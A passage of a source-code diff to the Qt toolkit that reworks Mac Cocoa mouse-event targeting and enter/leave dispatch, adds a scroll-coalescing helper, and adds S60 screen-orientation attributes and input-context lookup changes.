+ // except if the user scrolls:
+ if (eventType == QEvent::Wheel)
+ return 0;
+ returnLocalPoint = popup->mapFromGlobal(returnGlobalPoint);
+ return popup;
+ } else if (popup == candidate) {
+ // INVARIANT: The candidate is the popup itself, and not a child:
+ returnLocalPoint = popup->mapFromGlobal(returnGlobalPoint);
+ return popup;
+ } else {
+ // INVARIANT: The candidate is a child inside the popup:
+ returnLocalPoint = candidate->mapFromGlobal(returnGlobalPoint);
+ return candidate;
}
+ }
+
+ QWidget *target = mouseGrabber;
+ if (!target && buttonDownNotBlockedByModal)
+ target = qt_button_down;
+ if (!target)
+ target = widgetUnderMouse;
+ if (!target)
+ return 0;
+
+ returnLocalPoint = target->mapFromGlobal(returnGlobalPoint);
+ return target;
+}
+
+QPointer<QWidget> qt_last_native_mouse_receiver = 0;
+
+static inline void qt_mac_checkEnterLeaveForNativeWidgets(QWidget *maybeEnterWidget)
+{
+ // Dispatch enter/leave for the cases where QApplicationPrivate::sendMouseEvent do
+ // not. This will in general be the cases when alien widgets are not involved:
+ // 1. from a native widget to another native widget or
+ // 2. from a native widget to no widget
+ // 3. from no widget to a native or alien widget
+
+ if (qt_button_down || QWidget::mouseGrabber())
+ return;
+
+ if ((maybeEnterWidget == qt_last_native_mouse_receiver) && qt_last_native_mouse_receiver)
+ return;
+ if (maybeEnterWidget) {
+ if (!qt_last_native_mouse_receiver) {
+ // case 3
+ QApplicationPrivate::dispatchEnterLeave(maybeEnterWidget, 0);
+ qt_last_native_mouse_receiver = maybeEnterWidget->internalWinId() ? maybeEnterWidget : maybeEnterWidget->nativeParentWidget();
+ } else if (maybeEnterWidget->internalWinId()) {
+ // case 1
+ QApplicationPrivate::dispatchEnterLeave(maybeEnterWidget, qt_last_native_mouse_receiver);
+ qt_last_native_mouse_receiver = maybeEnterWidget->internalWinId() ? maybeEnterWidget : maybeEnterWidget->nativeParentWidget();
+ } // else at lest one of the widgets are alien, so enter/leave will be handled in QApplicationPrivate
} else {
- extern QWidget * qt_button_down; //qapplication_mac.cpp
- QPoint pos;
- widgetToGetMouse = QApplicationPrivate::pickMouseReceiver(qwidget, qglobalPoint,
- pos, eventType,
- button, qt_button_down, 0);
- if (widgetToGetMouse)
- tmpView = qt_mac_nativeview_for(widgetToGetMouse);
+ if (qt_last_native_mouse_receiver) {
+ // case 2
+ QApplicationPrivate::dispatchEnterLeave(0, qt_last_native_mouse_receiver);
+ qt_last_mouse_receiver = 0;
+ qt_last_native_mouse_receiver = 0;
+ }
}
+}
+
+bool qt_mac_handleMouseEvent(NSEvent *event, QEvent::Type eventType, Qt::MouseButton button, QWidget *nativeWidget)
+{
+ // Give the Input Manager a chance to process the mouse events.
+ NSInputManager *currentIManager = [NSInputManager currentInputManager];
+ if (currentIManager && [currentIManager wantsToHandleMouseEvents]) {
+ [currentIManager handleMouseEvent:event];
+ }
+
+ // Find the widget that should receive the event, and the widget under the mouse. Those
+ // can differ if an implicit or explicit mouse grab is active:
+ QWidget *widgetUnderMouse = 0;
+ QPoint localPoint, globalPoint;
+ QWidget *widgetToGetMouse = qt_mac_getTargetForMouseEvent(event, eventType, localPoint, globalPoint, nativeWidget, &widgetUnderMouse);
if (!widgetToGetMouse)
return false;
- NSPoint localPoint = [tmpView convertPoint:windowPoint fromView:nil];
- QPoint qlocalPoint = QPoint(localPoint.x, localPoint.y);
+ // From here on, we let nativeWidget actually be the native widget under widgetUnderMouse. The reason
+ // for this, is that qt_mac_getTargetForMouseEvent will set cocoa's mouse event redirection aside when
+ // determining which widget is under the mouse (in other words, it will usually ignore nativeWidget).
+ // nativeWidget will be used in QApplicationPrivate::sendMouseEvent to correctly dispatch enter/leave events.
+ if (widgetUnderMouse)
+ nativeWidget = widgetUnderMouse->internalWinId() ? widgetUnderMouse : widgetUnderMouse->nativeParentWidget();
+ if (!nativeWidget)
+ return false;
+ NSView *view = qt_mac_effectiveview_for(nativeWidget);
- // Search for alien child widgets (either on this qwidget or on the popup)
- if (widgetToGetMouse->testAttribute(Qt::WA_NativeWindow) == false || qt_widget_private(widgetToGetMouse)->hasAlienChildren) {
- QPoint qScreenPoint = flipPoint(globalPoint).toPoint();
-#ifdef ALIEN_DEBUG
- qDebug() << "alien mouse event" << qScreenPoint << possibleAlien;
-#endif
- QWidget *possibleAlien = widgetToGetMouse->childAt(qlocalPoint);
- if (possibleAlien) {
- qlocalPoint = possibleAlien->mapFromGlobal(widgetToGetMouse->mapToGlobal(qlocalPoint));
- widgetToGetMouse = possibleAlien;
- }
+ // Handle tablet events (if any) first.
+ if (qt_mac_handleTabletEvent(view, event)) {
+ // Tablet event was handled. In Qt we aren't supposed to send the mouse event.
+ return true;
}
- EventRef carbonEvent = static_cast<EventRef>(const_cast<void *>([theEvent eventRef]));
+ EventRef carbonEvent = static_cast<EventRef>(const_cast<void *>([event eventRef]));
if (qt_mac_sendMacEventToWidget(widgetToGetMouse, carbonEvent))
return true;
- // Yay! All the special cases are handled, it really is just a normal mouse event.
- Qt::KeyboardModifiers keyMods = qt_cocoaModifiers2QtModifiers([theEvent modifierFlags]);
- NSInteger clickCount = [theEvent clickCount];
- Qt::MouseButtons buttons = 0;
+ // Keep previousButton to make sure we don't send double click
+ // events when the user double clicks using two different buttons:
static Qt::MouseButton previousButton = Qt::NoButton;
+
+ Qt::KeyboardModifiers keyMods = qt_cocoaModifiers2QtModifiers([event modifierFlags]);
+ NSInteger clickCount = [event clickCount];
+ Qt::MouseButtons buttons = 0;
{
UInt32 mac_buttons;
if (GetEventParameter(carbonEvent, kEventParamMouseChord, typeUInt32, 0,
sizeof(mac_buttons), 0, &mac_buttons) == noErr)
buttons = qt_mac_get_buttons(mac_buttons);
}
+
+ // Send enter/leave events for the cases when QApplicationPrivate::sendMouseEvent do not:
+ qt_mac_checkEnterLeaveForNativeWidgets(widgetUnderMouse);
+
switch (eventType) {
default:
qWarning("not handled! %d", eventType);
break;
case QEvent::MouseMove:
+ if (button == Qt::LeftButton && qt_leftButtonIsRightButton)
+ button = Qt::RightButton;
break;
case QEvent::MouseButtonPress:
- [QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent]->view = theView;
- [QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent]->theEvent = theEvent;
-#ifndef QT_NAMESPACE
- Q_ASSERT(clickCount > 0);
-#endif
+ qt_button_down = widgetUnderMouse;
if (clickCount % 2 == 0 && (previousButton == Qt::NoButton || previousButton == button))
eventType = QEvent::MouseButtonDblClick;
if (button == Qt::LeftButton && (keyMods & Qt::MetaModifier)) {
button = Qt::RightButton;
- [theView qt_setLeftButtonIsRightButton: true];
+ qt_leftButtonIsRightButton = true;
}
break;
case QEvent::MouseButtonRelease:
- if (button == Qt::LeftButton && [theView qt_leftButtonIsRightButton]) {
+ if (button == Qt::LeftButton && qt_leftButtonIsRightButton) {
button = Qt::RightButton;
- [theView qt_setLeftButtonIsRightButton: false];
+ qt_leftButtonIsRightButton = false;
}
qt_button_down = 0;
break;
}
- [QT_MANGLE_NAMESPACE(QCocoaView) currentMouseEvent]->localPoint = localPoint;
- QMouseEvent qme(eventType, qlocalPoint, qglobalPoint, button, buttons, keyMods);
-#ifdef ALIEN_DEBUG
- qDebug() << "sending mouse event to" << widgetToGetMouse;
-#endif
- extern QWidget *qt_button_down;
- extern QPointer<QWidget> qt_last_mouse_receiver;
+ qt_mac_updateCursorWithWidgetUnderMouse(widgetUnderMouse);
- if (qwidget->testAttribute(Qt::WA_NativeWindow) && qt_widget_private(qwidget)->hasAlienChildren == false)
- qt_sendSpontaneousEvent(widgetToGetMouse, &qme);
- else
- QApplicationPrivate::sendMouseEvent(widgetToGetMouse, &qme, widgetToGetMouse, qwidget, &qt_button_down,
- qt_last_mouse_receiver);
+ DnDParams *dndParams = currentDnDParameters();
+ dndParams->view = view;
+ dndParams->theEvent = event;
+ dndParams->globalPoint = globalPoint;
+
+ // Send the mouse event:
+ QMouseEvent qme(eventType, localPoint, globalPoint, button, buttons, keyMods);
+ QApplicationPrivate::sendMouseEvent(
+ widgetToGetMouse, &qme, widgetUnderMouse, nativeWidget,
+ &qt_button_down, qt_last_mouse_receiver, true);
if (eventType == QEvent::MouseButtonPress && button == Qt::RightButton) {
- QContextMenuEvent qcme(QContextMenuEvent::Mouse, qlocalPoint, qglobalPoint, keyMods);
+ QContextMenuEvent qcme(QContextMenuEvent::Mouse, localPoint, globalPoint, keyMods);
qt_sendSpontaneousEvent(widgetToGetMouse, &qcme);
}
+
+ if (eventType == QEvent::MouseButtonRelease) {
+ // A mouse button was released, which means that the implicit grab was
+ // released. We therefore need to re-check if should send (delayed) enter leave events:
+ // qt_button_down has now become NULL since the call at the top of the function. Also, since
+ // the relase might have closed a window, we dont give the nativeWidget hint
+ qt_mac_getTargetForMouseEvent(0, QEvent::None, localPoint, globalPoint, nativeWidget, &widgetUnderMouse);
+ qt_mac_checkEnterLeaveForNativeWidgets(widgetUnderMouse);
+ }
+
previousButton = button;
return true;
-#endif
}
+#endif
bool qt_mac_handleTabletEvent(void * /*QCocoaView * */view, void * /*NSEvent * */tabletEvent)
{
@@ -1293,17 +1467,17 @@ void qt_mac_replaceDrawRectOriginal(void * /*OSWindowRef */window, QWidgetPrivat
}
#endif // QT_MAC_USE_COCOA
+#if QT_MAC_USE_COCOA
void qt_mac_showBaseLineSeparator(void * /*OSWindowRef */window, bool show)
{
if(!window)
return;
-#if QT_MAC_USE_COCOA
QMacCocoaAutoReleasePool pool;
OSWindowRef theWindow = static_cast<OSWindowRef>(window);
NSToolbar *macToolbar = [theWindow toolbar];
[macToolbar setShowsBaselineSeparator:show];
-#endif // QT_MAC_USE_COCOA
}
+#endif // QT_MAC_USE_COCOA
QStringList qt_mac_NSArrayToQStringList(void *nsarray)
{
@@ -1323,6 +1497,7 @@ void *qt_mac_QStringListToNSMutableArrayVoid(const QStringList &list)
return result;
}
+#if QT_MAC_USE_COCOA
void qt_syncCocoaTitleBarButtons(OSWindowRef window, QWidget *widgetForWindow)
{
if (!widgetForWindow)
@@ -1347,6 +1522,7 @@ void qt_syncCocoaTitleBarButtons(OSWindowRef window, QWidget *widgetForWindow)
[window setShowsToolbarButton:uint(flags & Qt::MacWindowToolBarButtonHint) != 0];
}
+#endif // QT_MAC_USE_COCOA
// Carbon: Make sure you call QDEndContext on the context when done with it.
CGContextRef qt_mac_graphicsContextFor(QWidget *widget)
@@ -1448,8 +1624,10 @@ void qt_mac_constructQIconFromIconRef(const IconRef icon, const IconRef overlayI
}
}
+#ifdef QT_MAC_USE_COCOA
void qt_mac_menu_collapseSeparators(void */*NSMenu **/ theMenu, bool collapse)
{
+ QMacCocoaAutoReleasePool pool;
OSMenuRef menu = static_cast<OSMenuRef>(theMenu);
if (collapse) {
bool previousIsSeparator = true; // setting to true kills all the separators placed at the top.
@@ -1481,12 +1659,24 @@ void qt_mac_menu_collapseSeparators(void */*NSMenu **/ theMenu, bool collapse)
}
}
-#ifdef QT_MAC_USE_COCOA
-void qt_cocoaChangeOverrideCursor(const QCursor &cursor)
+class CocoaPostMessageAfterEventLoopExitHelp : public QObject
{
- QMacCocoaAutoReleasePool pool;
- [static_cast<NSCursor *>(qt_mac_nsCursorForQCursor(cursor)) set];
-}
+ id target;
+ SEL selector;
+ int argCount;
+ id arg1;
+ id arg2;
+public:
+ CocoaPostMessageAfterEventLoopExitHelp(id target, SEL selector, int argCount, id arg1, id arg2)
+ : target(target), selector(selector), argCount(argCount), arg1(arg1), arg2(arg2){
+ deleteLater();
+ }
+
+ ~CocoaPostMessageAfterEventLoopExitHelp()
+ {
+ qt_cocoaPostMessage(target, selector, argCount, arg1, arg2);
+ }
+};
void qt_cocoaPostMessage(id target, SEL selector, int argCount, id arg1, id arg2)
{
@@ -1500,6 +1690,15 @@ void qt_cocoaPostMessage(id target, SEL selector, int argCount, id arg1, id arg2
context:nil subtype:QtCocoaEventSubTypePostMessage data1:lower data2:upper];
[NSApp postEvent:e atStart:NO];
}
+
+void qt_cocoaPostMessageAfterEventLoopExit(id target, SEL selector, int argCount, id arg1, id arg2)
+{
+ if (QApplicationPrivate::instance()->threadData->eventLoops.size() <= 1)
+ qt_cocoaPostMessage(target, selector, argCount, arg1, arg2);
+ else
+ new CocoaPostMessageAfterEventLoopExitHelp(target, selector, argCount, arg1, arg2);
+}
+
#endif
QMacCocoaAutoReleasePool::QMacCocoaAutoReleasePool()
@@ -1523,6 +1722,12 @@ void qt_mac_post_retranslateAppMenu()
#endif
}
+QWidgetPrivate *QMacScrollOptimization::_target = 0;
+bool QMacScrollOptimization::_inWheelEvent = false;
+int QMacScrollOptimization::_dx = 0;
+int QMacScrollOptimization::_dy = 0;
+QRect QMacScrollOptimization::_scrollRect = QRect(0, 0, -1, -1);
+
#ifdef QT_MAC_USE_COCOA
// This method implements the magic for the drawRectSpecial method.
// We draw a line at the upper edge of the content view in order to
diff --git a/src/gui/kernel/qt_cocoa_helpers_mac_p.h b/src/gui/kernel/qt_cocoa_helpers_mac_p.h
index d61c00f..334d9e8 100644
--- a/src/gui/kernel/qt_cocoa_helpers_mac_p.h
+++ b/src/gui/kernel/qt_cocoa_helpers_mac_p.h
@@ -103,6 +103,7 @@
#include <qtimer.h>
#include <qtooltip.h>
#include <private/qeffects_p.h>
+#include <private/qwidget_p.h>
#include <qtextdocument.h>
#include <qdebug.h>
#include <qpoint.h>
@@ -144,18 +145,14 @@ bool qt_mac_checkForNativeSizeGrip(const QWidget *widget);
void qt_dispatchTabletProximityEvent(void * /*NSEvent * */ tabletEvent);
#ifdef QT_MAC_USE_COCOA
bool qt_dispatchKeyEventWithCocoa(void * /*NSEvent * */ keyEvent, QWidget *widgetToGetEvent);
-void qt_cocoaChangeOverrideCursor(const QCursor &cursor);
// These methods exists only for supporting unified mode.
void macDrawRectOnTop(void * /*OSWindowRef */ window);
void macSyncDrawingOnFirstInvocation(void * /*OSWindowRef */window);
void qt_cocoaStackChildWindowOnTopOfOtherChildren(QWidget *widget);
-#endif
void qt_mac_menu_collapseSeparators(void * /*NSMenu */ menu, bool collapse);
+#endif
bool qt_dispatchKeyEvent(void * /*NSEvent * */ keyEvent, QWidget *widgetToGetEvent);
void qt_dispatchModifiersChanged(void * /*NSEvent * */flagsChangedEvent, QWidget *widgetToGetEvent);
-void qt_mac_dispatchNCMouseMessage(void */* NSWindow* */eventWindow, void */* NSEvent* */mouseEvent,
- QWidget *widgetToGetEvent, bool &leftButtonIsRightButton);
-bool qt_mac_handleMouseEvent(void * /*QCocoaView * */view, void * /*NSEvent * */event, QEvent::Type eventType, Qt::MouseButton button);
bool qt_mac_handleTabletEvent(void * /*QCocoaView * */view, void * /*NSEvent * */event);
inline QApplication *qAppInstance() { return static_cast<QApplication *>(QCoreApplication::instance()); }
struct ::TabletProximityRec;
@@ -165,6 +162,29 @@ Qt::KeyboardModifiers qt_cocoaDragOperation2QtModifiers(uint dragOperations);
QPixmap qt_mac_convert_iconref(const IconRef icon, int width, int height);
void qt_mac_constructQIconFromIconRef(const IconRef icon, const IconRef overlayIcon, QIcon *retIcon,
QStyle::StandardPixmap standardIcon = QStyle::SP_CustomBase);
+
+#if QT_MAC_USE_COCOA && __OBJC__
+struct DnDParams
+{
+ NSView *view;
+ NSEvent *theEvent;
+ QPoint globalPoint;
+ NSDragOperation performedAction;
+};
+
+DnDParams *macCurrentDnDParameters();
+NSDragOperation qt_mac_mapDropAction(Qt::DropAction action);
+NSDragOperation qt_mac_mapDropActions(Qt::DropActions actions);
+Qt::DropAction qt_mac_mapNSDragOperation(NSDragOperation nsActions);
+Qt::DropActions qt_mac_mapNSDragOperations(NSDragOperation nsActions);
+
+QWidget *qt_mac_getTargetForKeyEvent(QWidget *widgetThatReceivedEvent);
+QWidget *qt_mac_getTargetForMouseEvent(NSEvent *event, QEvent::Type eventType,
+ QPoint &returnLocalPoint, QPoint &returnGlobalPoint, QWidget *nativeWidget, QWidget **returnWidgetUnderMouse);
+bool qt_mac_handleMouseEvent(NSEvent *event, QEvent::Type eventType, Qt::MouseButton button, QWidget *nativeWidget);
+void qt_mac_handleNonClientAreaMouseEvent(NSWindow *window, NSEvent *event);
+#endif
+
inline int flipYCoordinate(int y)
{
return QApplication::desktop()->screenGeometry(0).height() - y;
@@ -221,10 +241,64 @@ public:
}
};
void qt_cocoaPostMessage(id target, SEL selector, int argCount=0, id arg1=0, id arg2=0);
+void qt_cocoaPostMessageAfterEventLoopExit(id target, SEL selector, int argCount=0, id arg1=0, id arg2=0);
#endif
#endif
+class QMacScrollOptimization {
+ // This class is made to optimize for the case when the user
+ // scrolls both horizontally and vertically at the same
+ // time. This will result in two QWheelEvents (one for each
+ // direction), which will typically result in two calls to
+ // QWidget::_scroll_sys. Rather than copying pixels twize on
+ // screen because of this, we add this helper class to try to
+ // get away with only one blit.
+ static QWidgetPrivate *_target;
+ static bool _inWheelEvent;
+ static int _dx;
+ static int _dy;
+ static QRect _scrollRect;
+
+public:
+ static void initDelayedScroll()
+ {
+ _inWheelEvent = true;
+ }
+
+ static bool delayScroll(QWidgetPrivate *target, int dx, int dy, const QRect &scrollRect)
+ {
+ if (!_inWheelEvent)
+ return false;
+ if (_target && _target != target)
+ return false;
+ if (_scrollRect.width() != -1 && _scrollRect != scrollRect)
+ return false;
+
+ _target = target;
+ _dx += dx;
+ _dy += dy;
+ _scrollRect = scrollRect;
+ return true;
+ }
+
+ static void performDelayedScroll()
+ {
+ if (!_inWheelEvent)
+ return;
+ _inWheelEvent = false;
+ if (!_target)
+ return;
+
+ _target->scroll_sys(_dx, _dy, _scrollRect);
+
+ _target = 0;
+ _dx = 0;
+ _dy = 0;
+ _scrollRect = QRect(0, 0, -1, -1);
+ }
+};
+
void qt_mac_post_retranslateAppMenu();
void qt_mac_display(QWidget *widget);
diff --git a/src/gui/kernel/qt_s60_p.h b/src/gui/kernel/qt_s60_p.h
index fdb35d5..40697bf 100644
--- a/src/gui/kernel/qt_s60_p.h
+++ b/src/gui/kernel/qt_s60_p.h
@@ -141,6 +141,7 @@ public:
int supportsPremultipliedAlpha : 1;
int avkonComponentsSupportTransparency : 1;
int menuBeingConstructed : 1;
+ int orientationSet : 1;
QApplication::QS60MainApplicationFactory s60ApplicationFactory; // typedef'ed pointer type
static CEikButtonGroupContainer *cba;
@@ -295,6 +296,7 @@ inline QS60Data::QS60Data()
supportsPremultipliedAlpha(0),
avkonComponentsSupportTransparency(0),
menuBeingConstructed(0),
+ orientationSet(0),
s60ApplicationFactory(0)
#ifdef Q_OS_SYMBIAN
,s60InstalledTrapHandler(0)
diff --git a/src/gui/kernel/qwidget.cpp b/src/gui/kernel/qwidget.cpp
index 4ba0ef8..bf9f6f9 100644
--- a/src/gui/kernel/qwidget.cpp
+++ b/src/gui/kernel/qwidget.cpp
@@ -127,6 +127,10 @@
#include "qtabwidget.h" // Needed in inTabWidget()
#endif // QT_KEYPAD_NAVIGATION
+#ifdef Q_WS_S60
+#include <aknappui.h>
+#endif
+
// widget/widget data creation count
//#define QWIDGET_EXTRA_DEBUG
//#define ALIEN_DEBUG
@@ -144,6 +148,10 @@ Q_GUI_EXPORT void qt_x11_set_global_double_buffer(bool enable)
}
#endif
+#if defined(QT_MAC_USE_COCOA)
+bool qt_mac_clearDirtyOnWidgetInsideDrawWidget = false;
+#endif
+
static inline bool qRectIntersects(const QRect &r1, const QRect &r2)
{
return (qMax(r1.left(), r2.left()) <= qMin(r1.right(), r2.right()) &&
@@ -300,7 +308,6 @@ QWidgetPrivate::QWidgetPrivate(int version)
#endif
#elif defined(Q_WS_MAC)
, needWindowChange(0)
- , hasAlienChildren(0)
, window_event(0)
, qd_hd(0)
#endif
@@ -322,6 +329,7 @@ QWidgetPrivate::QWidgetPrivate(int version)
hasOwnContext = false;
isInUnifiedToolbar = false;
unifiedSurface = 0;
+ touchEventsEnabled = false;
#endif // QT_MAC_USE_COCOA
#ifdef QWIDGET_EXTRA_DEBUG
static int count = 0;
@@ -395,11 +403,24 @@ void QWidgetPrivate::scrollChildren(int dx, int dy)
}
}
+QInputContext *QWidgetPrivate::assignedInputContext() const
+{
+#ifndef QT_NO_IM
+ const QWidget *widget = q_func();
+ while (widget) {
+ if (QInputContext *qic = widget->d_func()->ic)
+ return qic;
+ widget = widget->parentWidget();
+ }
+#endif
+ return 0;
+}
+
QInputContext *QWidgetPrivate::inputContext() const
{
#ifndef QT_NO_IM
- if (ic)
- return ic;
+ if (QInputContext *qic = assignedInputContext())
+ return qic;
return qApp->inputContext();
#else
return 0;
@@ -1303,9 +1324,9 @@ void QWidgetPrivate::init(QWidget *parentWidget, Qt::WindowFlags f)
if (f & Qt::MSWindowsOwnDC)
q->setAttribute(Qt::WA_NativeWindow);
-#ifdef Q_WS_MAC
- q->setAttribute(Qt::WA_NativeWindow);
-#endif
+//#ifdef Q_WS_MAC
+// q->setAttribute(Qt::WA_NativeWindow);
+//#endif
q->setAttribute(Qt::WA_QuitOnClose); // might be cleared in adjustQuitOnCloseAttribute()
adjustQuitOnCloseAttribute();
@@ -1412,10 +1433,6 @@ void QWidget::create(WId window, bool initializeWindow, bool destroyOldWindow)
#ifndef Q_WS_QPA
if (QWidget *parent = parentWidget()) {
-#ifdef Q_WS_MAC
- if (testAttribute(Qt::WA_NativeWindow) == false)
- parent->d_func()->hasAlienChildren = true;
-#endif
if (type & Qt::Window) {
if (!parent->testAttribute(Qt::WA_WState_Created))
parent->createWinId();
@@ -5399,6 +5416,9 @@ void QWidgetPrivate::drawWidget(QPaintDevice *pdev, const QRegion &rgn, const QP
return;
#if defined(Q_WS_MAC) && defined(QT_MAC_USE_COCOA)
+ if (qt_mac_clearDirtyOnWidgetInsideDrawWidget)
+ dirtyOnWidget = QRegion();
+
// We disable the rendering of QToolBar in the backingStore if
// it's supposed to be in the unified toolbar on Mac OS X.
if (backingStore && isInUnifiedToolbar)
@@ -5486,7 +5506,6 @@ void QWidgetPrivate::drawWidget(QPaintDevice *pdev, const QRegion &rgn, const QP
//paint the background
if ((asRoot || q->autoFillBackground() || onScreen || q->testAttribute(Qt::WA_StyledBackground))
&& !q->testAttribute(Qt::WA_OpaquePaintEvent) && !q->testAttribute(Qt::WA_NoSystemBackground)) {
-
QPainter p(q);
paintBackground(&p, toBePainted, (asRoot || onScreen) ? flags | DrawAsRoot : 0);
}
@@ -5668,10 +5687,12 @@ void QWidgetPrivate::paintSiblingsRecursive(QPaintDevice *pdev, const QObjectLis
QRect boundingRect;
bool dirtyBoundingRect = true;
const bool exludeOpaqueChildren = (flags & DontDrawOpaqueChildren);
+ const bool excludeNativeChildren = (flags & DontDrawNativeChildren);
do {
QWidget *x = qobject_cast<QWidget*>(siblings.at(index));
- if (x && !(exludeOpaqueChildren && x->d_func()->isOpaque) && !x->isHidden() && !x->isWindow()) {
+ if (x && !(exludeOpaqueChildren && x->d_func()->isOpaque) && !x->isHidden() && !x->isWindow()
+ && !(excludeNativeChildren && x->internalWinId())) {
if (dirtyBoundingRect) {
boundingRect = rgn.boundingRect();
dirtyBoundingRect = false;
@@ -10075,7 +10096,13 @@ void QWidget::setParent(QWidget *parent, Qt::WindowFlags f)
#if defined(Q_WS_X11) || defined(Q_WS_WIN) || defined(Q_WS_MAC) || defined(Q_OS_SYMBIAN)
if (newParent && parent && !desktopWidget) {
- if (testAttribute(Qt::WA_NativeWindow) && !qApp->testAttribute(Qt::AA_DontCreateNativeWidgetSiblings))
+ if (testAttribute(Qt::WA_NativeWindow) && !qApp->testAttribute(Qt::AA_DontCreateNativeWidgetSiblings)
+#if defined(Q_WS_MAC) && defined(QT_MAC_USE_COCOA)
+ // On Mac, toolbars inside the unified title bar will never overlap with
+ // siblings in the content view. So we skip enforce native siblings in that case
+ && !d->isInUnifiedToolbar && parentWidget() && parentWidget()->isWindow()
+#endif // Q_WS_MAC && QT_MAC_USE_COCOA
+ )
parent->d_func()->enforceNativeChildren();
else if (parent->d_func()->nativeChildrenForced() || parent->testAttribute(Qt::WA_PaintOnScreen))
setAttribute(Qt::WA_NativeWindow);
@@ -10722,7 +10749,13 @@ void QWidget::setAttribute(Qt::WidgetAttribute attribute, bool on)
ic->setFocusWidget(0);
}
}
- if (!qApp->testAttribute(Qt::AA_DontCreateNativeWidgetSiblings) && parentWidget())
+ if (!qApp->testAttribute(Qt::AA_DontCreateNativeWidgetSiblings) && parentWidget()
+#if defined(Q_WS_MAC) && defined(QT_MAC_USE_COCOA)
+ // On Mac, toolbars inside the unified title bar will never overlap with
+ // siblings in the content view. So we skip enforce native siblings in that case
+ && !d->isInUnifiedToolbar && parentWidget()->isWindow()
+#endif // Q_WS_MAC && QT_MAC_USE_COCOA
+ )
parentWidget()->d_func()->enforceNativeChildren();
if (on && !internalWinId() && testAttribute(Qt::WA_WState_Created))
d->createWinId();
@@ -10762,7 +10795,7 @@ void QWidget::setAttribute(Qt::WidgetAttribute attribute, bool on)
case Qt::WA_InputMethodEnabled: {
#ifndef QT_NO_IM
QWidget *focusWidget = d->effectiveFocusWidget();
- QInputContext *ic = focusWidget->d_func()->ic;
+ QInputContext *ic = focusWidget->d_func()->assignedInputContext();
if (!ic && (!on || hasFocus()))
ic = focusWidget->d_func()->inputContext();
if (ic) {
@@ -10855,6 +10888,42 @@ void QWidget::setAttribute(Qt::WidgetAttribute attribute, bool on)
d->registerTouchWindow();
#endif
break;
+ case Qt::WA_LockPortraitOrientation:
+ case Qt::WA_LockLandscapeOrientation:
+ case Qt::WA_AutoOrientation: {
+ const Qt::WidgetAttribute orientations[3] = {
+ Qt::WA_LockPortraitOrientation,
+ Qt::WA_LockLandscapeOrientation,
+ Qt::WA_AutoOrientation
+ };
+
+ if (on) {
+ // We can only have one of these set at a time
+ for (int i = 0; i < 3; ++i) {
+ if (orientations[i] != attribute)
+ setAttribute_internal(orientations[i], false, data, d);
+ }
+ }
+
+#ifdef Q_WS_S60
+ CAknAppUiBase* appUi = static_cast<CAknAppUiBase*>(CEikonEnv::Static()->EikAppUi());
+ const CAknAppUiBase::TAppUiOrientation s60orientations[] = {
+ CAknAppUiBase::EAppUiOrientationPortrait,
+ CAknAppUiBase::EAppUiOrientationLandscape,
+ CAknAppUiBase::EAppUiOrientationAutomatic
+ };
+ CAknAppUiBase::TAppUiOrientation s60orientation = CAknAppUiBase::EAppUiOrientationUnspecified;
+ for (int i = 0; i < 3; ++i) {
+ if (testAttribute(orientations[i])) {
+ s60orientation = s60orientations[i];
+ break;
+ }
+ }
+ QT_TRAP_THROWING(appUi->SetOrientationL(s60orientation));
+ S60->orientationSet = true;
+#endif
+ break;
+ }
default:
break;
}
@@ -11213,7 +11282,7 @@ void QWidget::updateMicroFocus()
#if !defined(QT_NO_IM) && (defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN))
Q_D(QWidget);
// and optimization to update input context only it has already been created.
- if (d->ic || qApp->d_func()->inputContext) {
+ if (d->assignedInputContext() || qApp->d_func()->inputContext) {
QInputContext *ic = inputContext();
if (ic)
ic->update();
diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm
index 376999e..9a5a5f1 100644
--- a/src/gui/kernel/qwidget_mac.mm
+++ b/src/gui/kernel/qwidget_mac.mm
@@ -155,7 +155,6 @@ static bool qt_mac_raise_process = true;
static OSWindowRef qt_root_win = 0;
QWidget *mac_mouse_grabber = 0;
QWidget *mac_keyboard_grabber = 0;
-extern QPointer<QWidget> qt_button_down; //qapplication_mac.cpp
#ifndef QT_MAC_USE_COCOA
#ifdef QT_NAMESPACE
@@ -179,13 +178,15 @@ static CFStringRef kObjectQWidget = CFSTR("com.trolltech.qt.widget");
/*****************************************************************************
Externals
*****************************************************************************/
+extern QPointer<QWidget> qt_button_down; //qapplication_mac.cpp
extern QWidget *qt_mac_modal_blocked(QWidget *); //qapplication_mac.mm
extern void qt_event_request_activate(QWidget *); //qapplication_mac.mm
extern bool qt_event_remove_activate(); //qapplication_mac.mm
extern void qt_mac_event_release(QWidget *w); //qapplication_mac.mm
extern void qt_event_request_showsheet(QWidget *); //qapplication_mac.mm
extern void qt_event_request_window_change(QWidget *); //qapplication_mac.mm
-extern QPointer<QWidget> qt_mouseover; //qapplication_mac.mm
+extern QPointer<QWidget> qt_last_mouse_receiver; //qapplication_mac.mm
+extern QPointer<QWidget> qt_last_native_mouse_receiver; //qt_cocoa_helpers_mac.mm
extern IconRef qt_mac_create_iconref(const QPixmap &); //qpixmap_mac.cpp
extern void qt_mac_set_cursor(const QCursor *, const QPoint &); //qcursor_mac.mm
extern void qt_mac_update_cursor(); //qcursor_mac.mm
@@ -193,7 +194,8 @@ extern bool qt_nograb();
extern CGImageRef qt_mac_create_cgimage(const QPixmap &, bool); //qpixmap_mac.cpp
extern RgnHandle qt_mac_get_rgn(); //qregion_mac.cpp
extern QRegion qt_mac_convert_mac_region(RgnHandle rgn); //qregion_mac.cpp
-
+extern void qt_mac_setMouseGrabCursor(bool set, QCursor *cursor = 0); // qcursor_mac.mm
+extern QPointer<QWidget> topLevelAt_cache; // qapplication_mac.mm
/*****************************************************************************
QWidget utility functions
*****************************************************************************/
@@ -217,22 +219,13 @@ static QSize qt_mac_desktopSize()
#ifdef QT_MAC_USE_COCOA
static NSDrawer *qt_mac_drawer_for(const QWidget *widget)
{
- // This only goes one level below the content view so start with the window.
- // This works fine for straight Qt stuff, but runs into problems if we are
- // embedding, but if that's the case, they probably want to be using
- // NSDrawer directly.
- NSView *widgetView = reinterpret_cast<NSView *>(widget->window()->winId());
+ NSView *widgetView = reinterpret_cast<NSView *>(widget->window()->effectiveWinId());
NSArray *windows = [NSApp windows];
for (NSWindow *window in windows) {
NSArray *drawers = [window drawers];
for (NSDrawer *drawer in drawers) {
if ([drawer contentView] == widgetView)
return drawer;
